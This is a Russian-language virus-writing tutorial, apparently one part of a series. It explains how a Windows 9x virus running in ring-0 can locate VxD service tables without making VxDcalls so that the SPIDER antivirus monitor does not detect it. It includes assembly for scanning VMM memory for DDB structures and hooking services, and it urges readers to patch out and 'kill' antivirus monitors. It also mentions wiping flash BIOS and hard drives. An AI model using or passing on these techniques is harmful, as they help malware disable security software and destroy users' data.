"Zed? It's Maynard. The spider
just caught a coupl'a flies."
"Pulp Fiction", Q.Tarantino
(кто смотрел, тот поймет ;-)
В первой части статьи мы говорили о переходах вирусов в ring-0. Во второй части были показаны некоторые примеры. Здесь будет рассказано о том, с чего же нужно начинать свои действия в нуле.
Итак, используя почти последнее что у нас осталось -- LDT, мы перешли в ring-0. Я полагаю, что вам уже известно, что обычно делают дальше. ;-) Иначе читать этот текст бесполезно. А дальше обычно выделяют память, копируют туда вирус, перехватывают обращения к файлам, портят флэш и все такое.
Проблема заключается в уже инсталлированом простеньком драйверке -- называется он SPIDER.VXD. Конечно, проблема не только в этом конкретном антивирусе, а в возможности существования таких мониторов и в возможности всяких плохих действий с их стороны. Короче, допустим, что сей файлик, подстерегая нас на доступе к IDT и GDT, таки пропустил в ring-0. И вот, ничего не подозревающий вирус делает свой первый VxDcall. И сосет. Ибо VxDcall сделан -- откуда?, и функция GetVxdName() на вопрос антивируса "а из какого вэыксдя пришел вот ентот вот вэыксдекольчик?" честно отвечает ему "а хуй его знает". И тогда антивирус орет "батя, хуйня!", тем стремая юзера, и тот, как показано на картинке, бежит к лозинскому. Помните об этом.
Собственно о том, как всего этого избежать, и написан сей текст.
Признаюсь вам честно, я преувеличил. Пока еще не на все VxDcall-ы орет sipder, и тем пользуется библиотечка KILLAVXD. Суть ее заключается в следующем: просканировать список VxDей, найти спидера(веба)/авп, и пропатчить их так, чтобы не могли открывать никакие файлы. Пока помогает.
Но дело в том, что список VxDей мы получаем VxDcall-ом, что само по себе плохо. Дальше можно долго спорить о том, что делать и кто виноват. Можно впатчить VxDcall в VMM (0xC0001000 и дальше) и вызывать системные функции оттуда. Но на это найдутся всякие Get_Cur_VM_Handle, ProcessId и прочие, и кроме того -- на каждый такой VxDcall нас могут найти поиском в памяти, и т.п. Короче говоря, так жить нельзя.
Поэтому единственно правильный путь -- убить, убить и еще раз убить антивир и только потом жить спокойно.
Как убить -- да все так же. Найти VxD, пропатчить. Дальше -- по желанию. Отгрузить, стереть на диске, etc. Но отгружать и стирать на диске плохо -- юзер явно увидит. Тогда уж эффективнее грохнуть флэш и винт.
Так что мы не будем останавливаться на этой проблеме, а решим абстрактную задачу -- как вызывать VxDcall-ы, не вызывая таковых.
Рассмотрим вопрос подробно. Как происходит VxDcall? А вот как. Сначала (все нуле) встречается CD 20 xx xx yy yy. Вызывается INT 20h. Обработчик берет yy yy. Это номер VxD. Сканируется список VxDей. Берется из таблички адрес сервиса xx xx, и CD 20 xx xx yy yy меняется на FF 15 [address]. И вот на этот CALL (FF 15) и передается управление.
Рассмотрим теперь VMMcall Hook_Device_Service. Что оно делает? А вот что. Берется список VxDей, сканируется до нужного нам. Все это посредством VMMcall Get_DDB. А дальше берется табличка оффсетов и в ней меняется оффсет хандлера.
Таким образом вместо
mov eax, VMM_xxx lea esi, xxx_new VMMcall Hook_Device_Service jc __exit mov xxx_old, esi
можно делать так:
mov eax, VMM xor edi, edi VMMcall Get_DDB jecxz __exit mov edx, [ecx].DDB_Service_Table_Ptr lea eax, xxx_new xchg eax, [edx+4*xxx] mov xxx_old, eax
, где DDB_Service_Table_Ptr -- это поинтер на таблицу оффсетов хандлеров сервисов, по одному на каждый сервис соответствующего VxD.
Но ведь и Get_DDB суть тоже отстой, ибо может быть перехвачено.
Поэтому наша задача -- находить структуры DDB самим. Вот ну ОЧЕНЬ глюкавый пример того, как это не нужно делать.
; начальный адрес поиска (VMM) mov ebx, 0C0001000H ; ищем CALL [xxxxxxxx] @@1: inc ebx cmp word ptr [ebx], 15FFh jne @@1 mov ecx, [ebx+2] ; ECX=xxxxxxxx ; нашли CALL, проверяем чтоб примерно внутри драйверов cmp ecx, 0C0001000h jb @@1 cmp ecx, 0C0200000h ja @@1 ; итак, ECX показывает в середину таблички сервисов, ; и резонно предположить, что где-то перед ней структура DDB @@2: dec ecx cmp ecx, 0C0001000h jb @@1 cmp [ecx].DDB_Reserved1, 'Rsv1' jne @@2 ; вот, нашли мы DDB. Но от какого она VxD хуй знает. проверяем. cmp [ecx].DDB_Req_Device_Number, VMM jne @@1 ; и таким образом мы таки поимели VMM-овский DDB ; берем поинтер на табличку сервисов mov edx, [ecx].DDB_Service_Table_Ptr ; вызываем/перехватываем любой нужный нам сервис call [edx+PageAllocate*4]
Проблема приведенного примера вот в чем. Мы НЕ проверяем присутствие страниц сканируемой памяти. И это нам чревато боком ;-). Выходов тут целых два, а может и больше. Во-первых, можно хватать экскепшн через IDT, и это правильно. А во-вторых (для особо умных) можно сканировать таблицу страниц.
Итак, мы научились получать адреса обработчиков сервисов не вызывая VxDcall-ов, равно как их и перехватывать. Но все это осталось полным отстоем, ибо нужный нам сервис может показывать - куда? - правильно, в спидера.
Поэтому первым делом надо описанным выше образом искать антивирусные мониторы, коих и убивать самым жестоким образом.
VxDcall macro VxD, Service db 0CDh db 020h dw Service dw VxD endm VMMcall macro Service VxDcall VMM, Service endm VMM equ 0001h GetDeviceList equ 0005h Hook_Device_Service equ 0090h Get_DDB equ 0146h VxD_Desc_Block struc DDB_Next dd ? ; 00 01 02 03 DDB_SDK_Version dw ? ; 04 05 DDK_VERSION DDB_Req_Device_Number dw ? ; 06 07 UNDEFINED_DEVICE_ID DDB_Dev_Major_Version db ? ; 08 0 DDB_Dev_Minor_Version db ? ; 09 0 DDB_Flags dw ? ; 0A 0B 0 DDB_Name db 8 dup (?);0C .. 13 " " DDB_Init_Order dd ? ; 14 15 16 17 UNDEFINED_INIT_ORDER DDB_Control_Proc dd ? ; 18 19 1A 1B DDB_V86_API_Proc dd ? ; 1C 1D 1E 1F 0 DDB_PM_API_Proc dd ? ; 20 21 22 23 0 DDB_V86_API_CSIP dd ? ; 24 25 26 27 0 DDB_PM_API_CSIP dd ? ; 28 29 2A 2B 0 DDB_Reference_Data dd ? ; 2C 2D 2E 2F DDB_Service_Table_Ptr dd ? ; 30 31 32 33 0 DDB_Service_Table_Size dd ? ; 34 35 36 37 0 DDB_Win32_Service_Table dd ? ; 38 39 3A 3B 0 DDB_Prev dd ? ; 3C 3D 3E 3F 'Prev' DDB_Size dd ? ; 40 41 42 43 SIZE(VxD_Desc_Block) DDB_Reserved1 dd ? ; 44 45 46 47 'Rsv1' DDB_Reserved2 dd ? ; 48 49 4A 4B 'Rsv2' DDB_Reserved3 dd ? ; 4C 4D 4E 4F 'Rsv3' VxD_Desc_Block ends